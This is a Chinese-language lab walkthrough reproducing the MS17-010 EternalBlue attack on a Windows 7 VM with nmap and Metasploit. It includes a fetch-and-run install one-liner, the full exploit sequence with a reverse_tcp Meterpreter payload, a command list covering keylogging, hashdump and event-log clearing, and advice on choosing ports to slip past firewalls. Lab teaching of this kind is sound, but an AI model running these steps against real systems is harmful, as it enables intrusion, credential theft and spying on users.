Ms17 010（永恒之蓝）漏洞复现

一. 前言

1. 漏洞描述

Eternalblue 通过 TCP 端口 445 和 139 来利用 SMBv1 和 NBT 中的远程代码执行漏洞，恶意代码会扫描开放 445 文件共享端口的 Windows 机器，无需用户任何操作，只要开机上网，不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。

2.漏洞影响

目前已知受影响的 Windows 版本包括但不限于：Windows NT，Windows 2000、Windows XP、Windows 2003、Windows Vista、Windows 7、Windows 8，Windows 2008、Windows 2008 R2、Windows Server 2012 SP0。

二. 复现环境

虚拟环境搭建：VMware Workstation 17 pro
网络模式：NAT
攻击机：kali Linux WSL
攻击机 IP：192.168.97.173
攻击工具：nmap metasploit(MSF)
靶机：cn_windows_7_ultimate_with_sp1_x64_dvd_u_677408（前提 win7 关闭防火墙）
靶机 IP：192.168.97.128

三. 启动 MSF

安装 MSF

1
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \chmod 755 msfinstall && \./msfinstall

进入框架
Terminal window
```
1
msfconsole
```
初始化
Terminal window
```
1
init
```

四. 寻找主机

ipconfig

使用ipconfig分别查看 win7 和 kali 中的 ip 地址

nmap

1
nmap -T5 -sP 192.168.97.0/24

-T5：使用速度模板**T5**，表示激进的扫描速度。
-sP：执行 Ping 连接扫描。
192.168.97.0/24：扫描指定的 IP 地址范围。

IP 地址	私有 ip 范围	子网掩码	CIDR
A 类地址	10.0.0.0 ～ 10.255.255.255	255.0.0.0	10.0.0.0/8
B 类地址	172.16.0.0 ～ 173.31.255.255	255.255.0.0	172.16.0.0/16
C 类地址	192.168.0.0 ～ 192.168.255.255	255.255.255.0	192.168.0.0/24

五. 端口扫描

nmap
Terminal window
```
1
nmap -T5 -sT 192.168.97.128
```
- -T5：使用速度模板**T5**，表示激进的扫描速度。
- -sT：执行 TCP 连接扫描。
- 192.168.97.128：扫描指定的 IP
MSF 端口扫描
1. 使用模块
  Terminal window
```
1
use auxiliary/scanner/portscan/tcp
```
2. 设置扫描 ip
  Terminal window
```
1
set rhosts 192.168.97.128
```
3. 运行
  Terminal window
```
1
run
```

六. 查找永恒之蓝漏洞

微软永恒之蓝编号ms17-010

1
search ms17_010

exploit/windows/smb/ms17_010_eternalblue
- 这个模块利用了 MS17-010 漏洞，通过 EternalBlue 攻击载荷，远程执行代码。
- EternalBlue 利用 Windows 的 Server Message Block（SMB）协议中的漏洞，允许攻击者在目标机器上执行任意代码。
- 攻击成功后，通常会在目标机器上生成一个 Meterpreter 会话，从而允许进一步的渗透测试操作。
exploit/windows/smb/ms17_010_psexec
- 这个模块结合 MS17-010 漏洞和 Psexec 技术，通过 SMB 协议在目标系统上执行命令。
- 利用 MS17-010 漏洞进行初始攻击，然后使用 Psexec 进行进一步的远程命令执行。
- 适用于在利用 MS17-010 漏洞后希望使用 Psexec 执行进一步的命令和控制操作时。
auxiliary/admin/smb/ms17_010_command
- 这个辅助模块用于通过 MS17-010 漏洞在目标系统上执行指定的命令。
- 不会生成一个持久的会话，而是直接执行特定的命令并返回结果。
- 适用于希望通过 MS17-010 漏洞在目标系统上执行单个命令的场景。
auxiliary/scanner/smb/smb_ms17_010
- 这个辅助模块用于扫描目标系统是否存在 MS17-010 漏洞。
- 不会进行实际的漏洞利用或攻击，而是仅检测目标系统是否易受 MS17-010 漏洞的影响。

七. 漏洞检测

使用探测模块
1. 使用Auxiliary辅助探测模块
  Terminal window
```
1
 use auxiliary/scanner/smb/smb_ms17_010
```
  或
  Terminal window
```
1
use 24
```
2. 查看需要配置的参数
  Terminal window
```
1
show options
```
3. 设置目标主机地址
  Terminal window
```
1
set rhosts 192.168.97.128
```
4. 运行
  Terminal window
```
1
run
```

nmap

1
nmap --script smb-vuln-ms17-010 192.168.97.128

八. 漏洞攻击

加载 ms17-010 攻击模块

1
use exploit/windows/smb/ms17_010_eternalblue

设置目标主机地址
Terminal window
```
1
set rhosts 192.168.97.128
```

设置连接方式为反向连接

1
set payload windows/x64/meterpreter/reverse_tcp

运行
Terminal window
```
1
run
```

Meterpreter 的命令用法

1
==========================================
2
核心命令：
3
==========================================
4
命令                           说明
5
-------                       ------------
6
?                             帮助菜单
7
background                    把当前会话挂到后台运行
8
bg                            background命令的别名
9
bgkill                        杀死后台meterpreter 脚本
10
bglist                        列出正在运行的后台脚本
11
bgrun                         执行一个meterpreter脚本作为后台线程
12
channel                       显示信息或控制活动频道
13
close                         关闭一个频道
14
detach                        分离Meterpreter会话（用于 http/https）
15
disable_unicode_encoding      禁用 unicode 字符串的编码
16
enable_unicode_encoding       启用 unicode 字符串的编码
17
exit                          终止 Meterpreter 会话
18
get_timeouts                  获取当前会话超时值
19
guid                          获取会话 GUID
20
help                          帮助菜单
21
info                          显示有关 Post 模块的信息
22
irb                           在当前会话中打开一个交互式 Ruby shell
23
load                          加载一个或多个 Meterpreter 扩展
24
machine_id                    获取连接到会话的机器的 MSF ID
25
migrate                       将服务器迁移到另一个进程
26
pivot                         管理枢轴侦听器
27
pry                           在当前会话上打开 Pry 调试器
28
quit                          终止 Meterpreter 会话
29
read                          从通道读取数据
30
resource                      运行存储在文件中的命令
31
run                           执行一个 Meterpreter 脚本或 Post 模块
32
secure                       （重新）协商会话上的 TLV 数据包加密
33
sessions                      快速切换到另一个会话
34
set_timeouts                  设置当前会话超时值
35
sleep                         强制 Meterpreter 安静，然后重新建立会话
36
ssl_verify                    修改 SSL 证书验证设置
37
transport                     管理运输机制
38
use                           不推荐使用的load命令别名
39
uuid                          获取当前会话的 UUID
40
write                         将数据写入通道
41

42
==========================================
43
Stdapi：文件系统命令
44
==========================================
45

46
命令                           说明
47
-------                       ------------
48
cat                           将文件内容读到屏幕上
49
cd                            切换目录
50
checksum                      检索文件的校验和
51
cp                            将源复制到目标
52
del                           删除指定文件
53
dir                           列出文件（ls 的别名）
54
download                      下载文件或目录
55
edit                          编辑文件
56
getlwd                        打印本地工作目录
57
getwd                         打印工作目录
58
lcd                           更改本地工作目录
59
lls                           列出本地文件
60
lpwd                          打印本地工作目录
61
ls                            列出文件
62
mkdir                         制作目录
63
mv                            将源移动到目标
64
pwd                           打印工作目录
65
rm                            删除指定文件
66
rmdir                         删除目录
67
search                        搜索文件
68
show_mount                    列出所有挂载点/逻辑驱动器
69
upload                        上传文件或目录
70

71
==========================================
72
Stdapi：网络命令
73
==========================================
74
命令                           说明
75
-------                       ------------
76
arp                           显示主机 ARP 缓存
77
getproxy                      显示当前代理配置
78
ifconfig                      显示界面
79
ipconfig                      显示接口
80
netstat                       显示网络连接
81
portfwd                       将本地端口转发到远程服务
82
resolve                       解析目标上的一组主机名
83
route                         查看和修改路由表
84

85
==========================================
86
Stdapi：系统命令
87
==========================================
88
命令                           说明
89
-------                       ------------
90
clearev                       清除事件日志
91
drop_token                    放弃任何活动的模拟令牌。
92
execute                       执行命令
93
getenv                        获取一个或多个环境变量值
94
getpid                        获取当前进程标识符
95
getprivs                      尝试启用当前进程可用的所有权限
96
getid                         获取服务器运行的用户的 SID
97
getuid                        获取服务器运行的用户
98
kill                          终止进程
99
localtime                     显示目标系统本地日期和时间
100
pgrep                         按名称过滤进程
101
pkill                         按名称终止进程
102
ps                            列出正在运行的进程
103
reboot                        重启远程计算机
104
reg                           修改远程注册表并与之交互
105
rev2self                      在远程机器上调用 RevertToSelf()
106
shell                         放入系统命令 shell
107
shutdown                      关闭远程计算机
108
steal_token                   尝试从目标进程窃取模拟令牌
109
suspend                       暂停或恢复进程列表
110
sysinfo                       获取有关远程系统的信息，例如 OS
111

112
==========================================
113
Stdapi：用户界面命令
114
==========================================
115
命令                           说明
116
-------                       ------------
117
enumdesktops                  列出所有可访问的桌面和窗口站
118
getdesktop                    获取当前的meterpreter桌面
119
idletime                      返回远程用户空闲的秒数
120
keyboard_send                 发送击键
121
keyevent                      发送按键事件
122
keyscan_dump                  转储击键缓冲区
123
keyscan_start                 开始捕获击键
124
keyscan_stop                  停止捕获击键
125
mouse                         发送鼠标事件
126
screenshare                   实时观看远程用户桌面
127
screenshot                    抓取交互式桌面的截图
128
setdesktop                    更改meterpreters当前桌面
129
uictl                         控制一些用户界面组件
130

131
==========================================
132
Stdapi：网络摄像头命令：
133
==========================================
134
命令                           说明
135
-------                       ------------
136
record_mic                    从默认麦克风录制音频 X 秒
137
webcam_chat                   开始视频聊天
138
webcam_list                   列出网络摄像头
139
webcam_snap                   从指定的网络摄像头拍摄快照
140
webcam_stream                 从指定的网络摄像头播放视频流
141

142
==========================================
143
Stdapi：音频输出命令：
144
==========================================
145
命令                           说明
146
-------                       ------------
147
play                          在目标系统上播放波形音频文件 (.wav)
148

149
==========================================
150
Priv：权限提升命令：
151
==========================================
152
命令                           说明
153
-------                       ------------
154
getsystem                     尝试将您的权限提升到本地系统的权限。
155

156
==========================================
157
Priv：密码数据库命令：
158
==========================================
159
命令                           说明
160
-------                       ------------
161
hashdump                      转储 SAM 数据库的内容
162

163
==========================================
164
Priv：Timestomp 命令：
165
==========================================
166
命令                           说明
167
-------                       ------------
168
timestomp                     操作文件 MACE 属性

使用发放

基础使用

进入框架
Terminal window
```
1
msfconsole
```
查找漏洞
Terminal window
```
1
search 漏洞编号
```
使用模块
Terminal window
```
1
run
```

Meterpreter 工作原理

首先目标先要执行初始的溢出漏洞会话连接，可能是 bind 正向连接，或者反弹 reverse 连接。反射连接的时候加载 dll 链接文件，同时后台悄悄处理 dll 文件。其次 Meterpreter 核心代码初始化,通过 socket 套接字建立一个 TLS/1.0 加密隧道并发送 GET 请求给 Metasploit 服务端。Metasploit 服务端收到这个 GET 请求后就配置相应客户端。最后，Meterpreter 加载扩展，所有的扩展被加载都通过 TLS/1.0 进行数据传输。

漏洞利用(exploit)

漏洞利用 exploit，也就是我们常说的 exp，他就是对漏洞进行攻击的代码。

exploit 漏洞利用模块路径(这里面有针对不同平台的 exploit)：

1
/usr/share/metasploit-framework/modules/exploits

攻击载荷(payload)

Payload：Payload 中包含攻击进入目标主机后需要在远程系统中运行的恶意代码，而在 Metasploit 中 Payload 是一种特殊模块，它们能够以漏洞利用模块运行，并能够利用目标系统中的安全漏洞实施攻击。简而言之，这种漏洞利用模块可以访问目标系统，而其中的代码定义了 Payload 在目标系统中的行为。

Shellcode：Shellcode 是 payload 中的精髓部分，在渗透攻击时作为攻击载荷运行的一组机器指令。Shellcode 通常用汇编语言编写。在大多数情况下，目标系统执行了 shellcode 这一组指令之后，才会提供一个命令行 shell。

payload 模块路径

1
/usr/share/metasploit-framework/modules/payloads

Metasploit 中的 Payload 模块主要有以下三种类型

Single：

是一种完全独立的 Payload，而且使用起来就像运行 calc.exe 一样简单，例如添加一个系统用户或删除一份文件。由于 Single Payload 是完全独立的，因此它们有可能会被类似 netcat 这样的非 metasploit 处理工具所捕捉到。
Stager：

这种 Payload 负责建立目标用户与攻击者之间的网络连接，并下载额外的组件或应用程序。一种常见的 Stager Payload 就是 reverse_tcp，它可以让目标系统与攻击者建立一条 tcp 连接，让目标系统主动连接我们的端口(反向连接)。另一种常见的是 bind_tcp，它可以让目标系统开启一个 tcp 监听器，而攻击者随时可以与目标系统进行通信(正向连接)。
Stage：

是 Stager Payload 下的一种 Payload 组件，这种 Payload 可以提供更加高级的功能，而且没有大小限制。

几种常见的 payload

正向连接
Terminal window
```
1
windows/meterpreter/bind_tcp
```
反向连接
Terminal window
```
1
windows/meterpreter/reverse_tcp
```
过监听 80 端口反向连接
Terminal window
```
1
windows/meterpreter/reverse_http
```
通过监听 443 端口反向连接
Terminal window
```
1
windows/meterpreter/reverse_https
```

使用场景

正向连接使用场景：

我们的攻击机在内网环境，被攻击机是外网环境，由于被攻击机无法主动连接到我们的主机，所以就必须我们主动连接被攻击机了。但是这里经常遇到的问题是，被攻击机上开了防火墙，只允许访问指定的端口，比如被攻击机只对外开放了 80 端口。那么，我们就只能设置正向连接 80 端口了，这里很有可能失败，因为 80 端口上的流量太多了。
反向连接使用场景：

我们的主机和被攻击机都是在外网或者都是在内网，这样被攻击机就能主动连接到我们的主机了。如果是这样的情况，建议使用反向连接，因为反向连接的话，即使被攻击机开了防火墙也没事，防火墙只是阻止进入被攻击机的流量，而不会阻止被攻击机主动向外连接的流量。
反向连接 80 和 443 端口使用场景：

被攻击机能主动连接到我们的主机，还有就是被攻击机的防火墙设置的特别严格，就连被攻击机访问外部网络的流量也进行了严格的限制，只允许被攻击机的 80 端口或 443 端口与外部通信。